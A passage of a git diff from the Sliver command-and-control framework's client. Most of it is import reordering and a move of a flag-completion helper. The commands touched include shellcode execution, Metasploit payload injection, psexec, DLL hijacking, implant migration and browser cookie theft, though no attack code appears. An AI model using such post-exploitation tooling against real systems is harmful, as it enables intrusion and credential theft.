"github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/spf13/cobra" ) // BuildersCmd - List external builders. diff --git a/client/command/builders/commands.go b/client/command/builders/commands.go index 16478cd1fc..d80cbe44fe 100644 --- a/client/command/builders/commands.go +++ b/client/command/builders/commands.go @@ -1,12 +1,13 @@ package builders import ( + "github.com/spf13/cobra" + "github.com/spf13/pflag" + "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/spf13/cobra" - "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/command.go b/client/command/command.go index 21083729f8..0559e8433b 100644 --- a/client/command/command.go +++ b/client/command/command.go @@ -21,11 +21,12 @@ package command import ( "strings" - client "github.com/bishopfox/sliver/client/console" "github.com/reeflective/console" "github.com/rsteube/carapace" "github.com/spf13/cobra" "github.com/spf13/pflag" + + client "github.com/bishopfox/sliver/client/console" ) const defaultTimeout = 60 diff --git a/client/command/completers/completers.go b/client/command/completers/completers.go index 89cc9f8558..75bdcece48 100644 --- a/client/command/completers/completers.go +++ b/client/command/completers/completers.go @@ -23,6 +23,7 @@ import ( "time" "github.com/rsteube/carapace" + "github.com/spf13/cobra" ) const ( @@ -35,6 +36,28 @@ const ( CacheCompilerInfo = 1 * time.Hour // CacheCompilerInfo caches server compiler info for an hour on disk. ) +// NewCompsFor registers the command to the application completion engine and returns +// you a type through which you can register all sorts of completions for this command, +// from flag arguments, positional ones, per index or remaining, etc. +// +// See https://rsteube.github.io/carapace/ for a complete documentation of carapace completions. +func NewCompsFor(cmd *cobra.Command) *carapace.Carapace { + return carapace.Gen(cmd) +} + +// BindFlagCompletions is a convenience function for binding completers to flags requiring arguments. +// (It wraps a few steps to be used through the *carapace.Carapace type so you don't have to bother). +// cmd - The target command/subcommand which flags to be completed. +// bind - A function using a map "flag-name":carapace.Action for you to bind completions to the flag. +// +// See https://rsteube.github.io/carapace/ for a complete documentation of carapace completions. +func NewFlagCompsFor(cmd *cobra.Command, bind func(comp *carapace.ActionMap)) { + comps := make(carapace.ActionMap) + bind(&comps) + + carapace.Gen(cmd).FlagCompletion(comps) +} + // ClientInterfacesCompleter completes interface addresses on the client host. func ClientInterfacesCompleter() carapace.Action { return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { diff --git a/client/command/crack/commands.go b/client/command/crack/commands.go index 5ababc1579..7fc4e08df0 100644 --- a/client/command/crack/commands.go +++ b/client/command/crack/commands.go @@ -1,13 +1,14 @@ package crack import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/crack/crack-files.go b/client/command/crack/crack-files.go index d6dc856deb..5e2f1ca91d 100644 --- a/client/command/crack/crack-files.go +++ b/client/command/crack/crack-files.go @@ -25,13 +25,14 @@ import ( "io" "os" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/klauspost/compress/zstd" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/util" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/klauspost/compress/zstd" - "github.com/spf13/cobra" ) // CrackWordlistsCmd - Manage GPU cracking stations. diff --git a/client/command/crack/crack.go b/client/command/crack/crack.go index 0ce322eefb..ab13d083ff 100644 --- a/client/command/crack/crack.go +++ b/client/command/crack/crack.go @@ -23,12 +23,13 @@ import ( "fmt" "sort" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/spf13/cobra" ) // CrackCmd - GPU password cracking interface. diff --git a/client/command/crack/helpers.go b/client/command/crack/helpers.go index 89c1446a6e..6841d10b41 100644 --- a/client/command/crack/helpers.go +++ b/client/command/crack/helpers.go @@ -5,9 +5,10 @@ import ( "fmt" "time" + "github.com/rsteube/carapace" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/rsteube/carapace" ) func CrackHcstat2Completer(con *console.SliverClient) carapace.Action { diff --git a/client/command/creds/add.go b/client/command/creds/add.go index 67798e9fd8..373860d168 100644 --- a/client/command/creds/add.go +++ b/client/command/creds/add.go @@ -25,10 +25,11 @@ import ( "strconv" "strings" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/spf13/cobra" ) const ( diff --git a/client/command/creds/commands.go b/client/command/creds/commands.go index 65276e382b..0a2d734de4 100644 --- a/client/command/creds/commands.go +++ b/client/command/creds/commands.go @@ -1,13 +1,15 @@ package creds import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. @@ -40,7 +42,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.StringP("hash", "P", "", "hash of the credential") f.StringP("hash-type", "H", "", "hash type of the credential") }) - flags.BindFlagCompletions(credsAddCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(credsAddCmd, func(comp *carapace.ActionMap) { (*comp)["hash-type"] = CredsHashTypeCompleter(con) }) credsCmd.AddCommand(credsAddCmd) @@ -59,7 +61,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.StringP("file-format", "F", HashNewlineFormat, "file format of the credential file") f.StringP("hash-type", "H", "", "hash type of the credential") }) - flags.BindFlagCompletions(credsAddFileCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(credsAddFileCmd, func(comp *carapace.ActionMap) { (*comp)["collection"] = CredsCollectionCompleter(con) (*comp)["file-format"] = CredsHashFileFormatCompleter(con) (*comp)["hash-type"] = CredsHashTypeCompleter(con) diff --git a/client/command/creds/creds.go b/client/command/creds/creds.go index 8c8dbdbe3e..4cd7338859 100644 --- a/client/command/creds/creds.go +++ b/client/command/creds/creds.go @@ -23,13 +23,14 @@ import ( "fmt" "strings" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" ) // CredsCmd - Manage credentials. diff --git a/client/command/creds/rm.go b/client/command/creds/rm.go index eace7891cb..8b3ec05497 100644 --- a/client/command/creds/rm.go +++ b/client/command/creds/rm.go @@ -22,10 +22,11 @@ import ( "context" "strings" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/spf13/cobra" ) // CredsCmd - Add new credentials. diff --git a/client/command/creds/select.go b/client/command/creds/select.go index 1988a296b7..2ebde7b5ee 100644 --- a/client/command/creds/select.go +++ b/client/command/creds/select.go @@ -9,6 +9,7 @@ import ( "text/tabwriter" "github.com/AlecAivazis/survey/v2" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" diff --git a/client/command/cursed/commands.go b/client/command/cursed/commands.go index d61dbd51f3..c4b518a142 100644 --- a/client/command/cursed/commands.go +++ b/client/command/cursed/commands.go @@ -1,13 +1,15 @@ package cursed import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. @@ -73,7 +75,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.BoolP("keep-alive", "k", false, "keeps browser alive after last browser window closes") f.BoolP("headless", "H", false, "start browser process in headless mode") }) - flags.BindFlagCompletions(cursedChromeCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(cursedChromeCmd, func(comp *carapace.ActionMap) { (*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files") }) cursedChromeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true @@ -97,7 +99,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.BoolP("keep-alive", "k", false, "keeps browser alive after last browser window closes") f.BoolP("headless", "H", false, "start browser process in headless mode") }) - flags.BindFlagCompletions(cursedEdgeCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(cursedEdgeCmd, func(comp *carapace.ActionMap) { (*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files") }) cursedEdgeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true @@ -131,7 +133,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { flags.Bind("", false, CursedCookiesCmd, func(f *pflag.FlagSet) { f.StringP("save", "s", "", "save to file") }) - flags.BindFlagCompletions(CursedCookiesCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(CursedCookiesCmd, func(comp *carapace.ActionMap) { (*comp)["save"] = carapace.ActionFiles() }) diff --git a/client/command/cursed/cursed-chrome.go b/client/command/cursed/cursed-chrome.go index 1a5dac1881..33a42c9241 100644 --- a/client/command/cursed/cursed-chrome.go +++ b/client/command/cursed/cursed-chrome.go @@ -29,6 +29,8 @@ import ( "time" "github.com/AlecAivazis/survey/v2" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/client/overlord" @@ -36,7 +38,6 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" ) var ( diff --git a/client/command/cursed/cursed-console.go b/client/command/cursed/cursed-console.go index 24fcc4cdc2..f70bdcb42a 100644 --- a/client/command/cursed/cursed-console.go +++ b/client/command/cursed/cursed-console.go @@ -27,11 +27,12 @@ import ( "text/tabwriter" "github.com/AlecAivazis/survey/v2" + "github.com/reeflective/readline" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/client/overlord" - "github.com/reeflective/readline" - "github.com/spf13/cobra" ) func CursedConsoleCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { diff --git a/client/command/cursed/cursed-cookies.go b/client/command/cursed/cursed-cookies.go index 59c13d5e09..a2f46dfa4e 100644 --- a/client/command/cursed/cursed-cookies.go +++ b/client/command/cursed/cursed-cookies.go @@ -24,9 +24,10 @@ import ( "strings" "time" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/overlord" - "github.com/spf13/cobra" ) func CursedCookiesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { diff --git a/client/command/cursed/cursed-edge.go b/client/command/cursed/cursed-edge.go index 82aa122518..acf82236e9 100644 --- a/client/command/cursed/cursed-edge.go +++ b/client/command/cursed/cursed-edge.go @@ -24,13 +24,14 @@ import ( "strings" "github.com/AlecAivazis/survey/v2" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/client/overlord" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" ) // CursedChromeCmd - Execute a .NET assembly in-memory. diff --git a/client/command/cursed/cursed-electron.go b/client/command/cursed/cursed-electron.go index 5d42594787..7d9d89c5ec 100644 --- a/client/command/cursed/cursed-electron.go +++ b/client/command/cursed/cursed-electron.go @@ -27,6 +27,8 @@ import ( "time" "github.com/AlecAivazis/survey/v2" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/client/overlord" @@ -34,7 +36,6 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" ) func CursedElectronCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { diff --git a/client/command/cursed/cursed-rm.go b/client/command/cursed/cursed-rm.go index d5772c289a..4808fd6886 100644 --- a/client/command/cursed/cursed-rm.go +++ b/client/command/cursed/cursed-rm.go @@ -23,10 +23,11 @@ import ( "strconv" "github.com/AlecAivazis/survey/v2" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" ) func CursedRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { diff --git a/client/command/cursed/cursed-screenshot.go b/client/command/cursed/cursed-screenshot.go index 1b0ab936d5..237ccf6908 100644 --- a/client/command/cursed/cursed-screenshot.go +++ b/client/command/cursed/cursed-screenshot.go @@ -23,9 +23,10 @@ import ( "os" "time" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/overlord" - "github.com/spf13/cobra" ) func CursedScreenshotCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { diff --git a/client/command/cursed/cursed.go b/client/command/cursed/cursed.go index da38a6eab6..d9f220044c 100644 --- a/client/command/cursed/cursed.go +++ b/client/command/cursed/cursed.go @@ -27,11 +27,12 @@ import ( "text/tabwriter" "github.com/AlecAivazis/survey/v2" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/spf13/cobra" ) // CursedChromeCmd - Execute a .NET assembly in-memory. diff --git a/client/command/dllhijack/commands.go b/client/command/dllhijack/commands.go index 86c5fc9e96..db5e4ad9b6 100644 --- a/client/command/dllhijack/commands.go +++ b/client/command/dllhijack/commands.go @@ -1,14 +1,16 @@ package dllhijack import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/generate" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. @@ -31,7 +33,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.StringP("profile", "p", "", "Profile name to use as a base DLL") f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") }) - flags.BindFlagCompletions(dllhijackCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(dllhijackCmd, func(comp *carapace.ActionMap) { (*comp)["reference-file"] = carapace.ActionFiles() (*comp)["file"] = carapace.ActionFiles() (*comp)["profile"] = generate.ProfileNameCompleter(con) diff --git a/client/command/dllhijack/dllhijack.go b/client/command/dllhijack/dllhijack.go index 3e6033f1e0..01aa722bea 100644 --- a/client/command/dllhijack/dllhijack.go +++ b/client/command/dllhijack/dllhijack.go @@ -23,9 +23,10 @@ import ( "fmt" "io/ioutil" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/spf13/cobra" ) // dllhijack --ref-path c:\windows\system32\msasn1.dll --file /tmp/runner.dll TARGET_PATH diff --git a/client/command/environment/commands.go b/client/command/environment/commands.go index 5ecef21500..6c030ae77c 100644 --- a/client/command/environment/commands.go +++ b/client/command/environment/commands.go @@ -1,13 +1,14 @@ package environment import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/environment/get.go b/client/command/environment/get.go index 70249ce75d..e5c185690f 100644 --- a/client/command/environment/get.go +++ b/client/command/environment/get.go @@ -21,11 +21,12 @@ package environment import ( "context" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) // EnvGetCmd - Get a remote environment variable. diff --git a/client/command/environment/set.go b/client/command/environment/set.go index 244766f0be..ccfbb5fe91 100644 --- a/client/command/environment/set.go +++ b/client/command/environment/set.go @@ -21,12 +21,13 @@ package environment import ( "context" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) // EnvSetCmd - Set a remote environment variable. diff --git a/client/command/environment/unset.go b/client/command/environment/unset.go index e938aa63ce..6082df4efe 100644 --- a/client/command/environment/unset.go +++ b/client/command/environment/unset.go @@ -21,11 +21,12 @@ package environment import ( "context" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) // EnvUnsetCmd - Unset a remote environment variable. diff --git a/client/command/exec/commands.go b/client/command/exec/commands.go index 019af886d7..892a0ffb07 100644 --- a/client/command/exec/commands.go +++ b/client/command/exec/commands.go @@ -1,14 +1,16 @@ package exec import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/generate" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. @@ -97,7 +99,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") }) - flags.BindFlagCompletions(executeShellcodeCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(executeShellcodeCmd, func(comp *carapace.ActionMap) { (*comp)["shikata-ga-nai"] = carapace.ActionValues("386", "amd64").Tag("shikata-ga-nai architectures") }) carapace.Gen(executeShellcodeCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to shellcode file (required)")) @@ -195,7 +197,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") }) - flags.BindFlagCompletions(msfCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(msfCmd, func(comp *carapace.ActionMap) { (*comp)["encoder"] = generate.MsfEncoderCompleter(con) (*comp)["payload"] = generate.MsfPayloadCompleter(con) }) @@ -219,7 +221,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") }) - flags.BindFlagCompletions(msfInjectCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(msfInjectCmd, func(comp *carapace.ActionMap) { (*comp)["encoder"] = generate.MsfEncoderCompleter(con) }) @@ -243,7 +245,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") }) - flags.BindFlagCompletions(psExecCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(psExecCmd, func(comp *carapace.ActionMap) { (*comp)["custom-exe"] = carapace.ActionFiles() (*comp)["profile"] = generate.ProfileNameCompleter(con) }) @@ -273,7 +275,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { }) sshCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true - flags.BindFlagCompletions(sshCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(sshCmd, func(comp *carapace.ActionMap) { (*comp)["private-key"] = carapace.ActionFiles() (*comp)["kerberos-keytab"] = carapace.ActionFiles() }) diff --git a/client/command/exec/execute-assembly.go b/client/command/exec/execute-assembly.go index d2418760ff..da665a55ee 100644 --- a/client/command/exec/execute-assembly.go +++ b/client/command/exec/execute-assembly.go @@ -25,11 +25,12 @@ import ( "strings" "github.com/AlecAivazis/survey/v2" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) // ExecuteAssemblyCmd - Execute a .NET assembly in-memory. diff --git a/client/command/exec/execute-shellcode.go b/client/command/exec/execute-shellcode.go index 27d0adae09..eac942a926 100644 --- a/client/command/exec/execute-shellcode.go +++ b/client/command/exec/execute-shellcode.go @@ -26,13 +26,14 @@ import ( "log" "os" + "github.com/spf13/cobra" + "golang.org/x/term" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" - "golang.org/x/term" - "google.golang.org/protobuf/proto" ) // ExecuteShellcodeCmd - Execute shellcode in-memory. diff --git a/client/command/exec/execute.go b/client/command/exec/execute.go index 8939d30404..ab87a784b3 100644 --- a/client/command/exec/execute.go +++ b/client/command/exec/execute.go @@ -23,12 +23,13 @@ import ( "strings" "time" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/command/loot" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) // ExecuteCmd - Run a command on the remote system. diff --git a/client/command/exec/migrate.go b/client/command/exec/migrate.go index 0ccdca7222..b892430e23 100644 --- a/client/command/exec/migrate.go +++ b/client/command/exec/migrate.go @@ -23,10 +23,11 @@ import ( "fmt" "strings" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" ) // MigrateCmd - Windows only, inject an implant into another process. diff --git a/client/command/exec/msf-inject.go b/client/command/exec/msf-inject.go index c0283c1898..9d2eedd45c 100644 --- a/client/command/exec/msf-inject.go +++ b/client/command/exec/msf-inject.go @@ -22,12 +22,13 @@ import ( "context" "fmt" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) // MsfInjectCmd - Inject a metasploit payload into a remote process. diff --git a/client/command/exec/msf.go b/client/command/exec/msf.go index 27cce40953..473ab9248c 100644 --- a/client/command/exec/msf.go +++ b/client/command/exec/msf.go @@ -22,11 +22,12 @@ import ( "context" "fmt" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) // MsfCmd - Inject a metasploit payload into the current remote process. diff --git a/client/command/exec/psexec.go b/client/command/exec/psexec.go index 310d3dbcb4..32f504460f 100644 --- a/client/command/exec/psexec.go +++ b/client/command/exec/psexec.go @@ -26,6 +26,8 @@ import ( "strings" "time" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/command/generate" "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" @@ -33,7 +35,6 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/util/encoders" - "github.com/spf13/cobra" ) // PsExecCmd - psexec command implementation. diff --git a/client/command/exec/sideload.go b/client/command/exec/sideload.go index 5ff2a6ce52..76df68b648 100644 --- a/client/command/exec/sideload.go +++ b/client/command/exec/sideload.go @@ -25,11 +25,12 @@ import ( "path/filepath" "strings" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) // SideloadCmd - Sideload a shared library on the remote system. diff --git a/client/command/exec/spawndll.go b/client/command/exec/spawndll.go index 7bbfd7f7a6..55a5f76359 100644 --- a/client/command/exec/spawndll.go +++ b/client/command/exec/spawndll.go @@ -24,11 +24,12 @@ import ( "os" "strings" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) // SpawnDllCmd - Spawn execution of a DLL on the remote system. diff --git a/client/command/exec/ssh.go b/client/command/exec/ssh.go index ae899110ba..131fa53396 100644 --- a/client/command/exec/ssh.go +++ b/client/command/exec/ssh.go @@ -24,11 +24,12 @@ import ( "strings" "github.com/AlecAivazis/survey/v2" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) // SSHCmd - A built-in SSH client command for the remote system (doesn't shell out). diff --git a/client/command/exit/exit.go b/client/command/exit/exit.go index 08e33cd65b..e1df08e4cf 100644 --- a/client/command/exit/exit.go +++ b/client/command/exit/exit.go @@ -19,10 +19,11 @@ package exit */ import ( + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/constants" - "github.com/spf13/cobra" ) // Commands returns the `exit` command. diff --git a/client/command/extensions/commands.go b/client/command/extensions/commands.go index 5d5e5434ef..62df2bf6cc 100644 --- a/client/command/extensions/commands.go +++ b/client/command/extensions/commands.go @@ -1,11 +1,12 @@ package extensions import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/extensions/extensions.go b/client/command/extensions/extensions.go index e47864a111..e0eb46578e 100644 --- a/client/command/extensions/extensions.go +++ b/client/command/extensions/extensions.go @@ -24,13 +24,14 @@ import ( "os" "strings" - "github.com/bishopfox/sliver/client/assets" - "github.com/bishopfox/sliver/client/command/settings" - "github.com/bishopfox/sliver/client/console" "github.com/jedib0t/go-pretty/v6/table" "github.com/jedib0t/go-pretty/v6/text" "github.com/rsteube/carapace" "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/assets" + "github.com/bishopfox/sliver/client/command/settings" + "github.com/bishopfox/sliver/client/console" ) // ExtensionsCmd - List information about installed extensions. diff --git a/client/command/extensions/install.go b/client/command/extensions/install.go index b084feddcc..e4ba341316 100644 --- a/client/command/extensions/install.go +++ b/client/command/extensions/install.go @@ -24,10 +24,11 @@ import ( "path/filepath" "github.com/AlecAivazis/survey/v2" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/util" - "github.com/spf13/cobra" ) // ExtensionsInstallCmd - Install an extension. diff --git a/client/command/extensions/list.go b/client/command/extensions/list.go index 52de4a9760..d08ca41fe0 100644 --- a/client/command/extensions/list.go +++ b/client/command/extensions/list.go @@ -21,9 +21,10 @@ package extensions 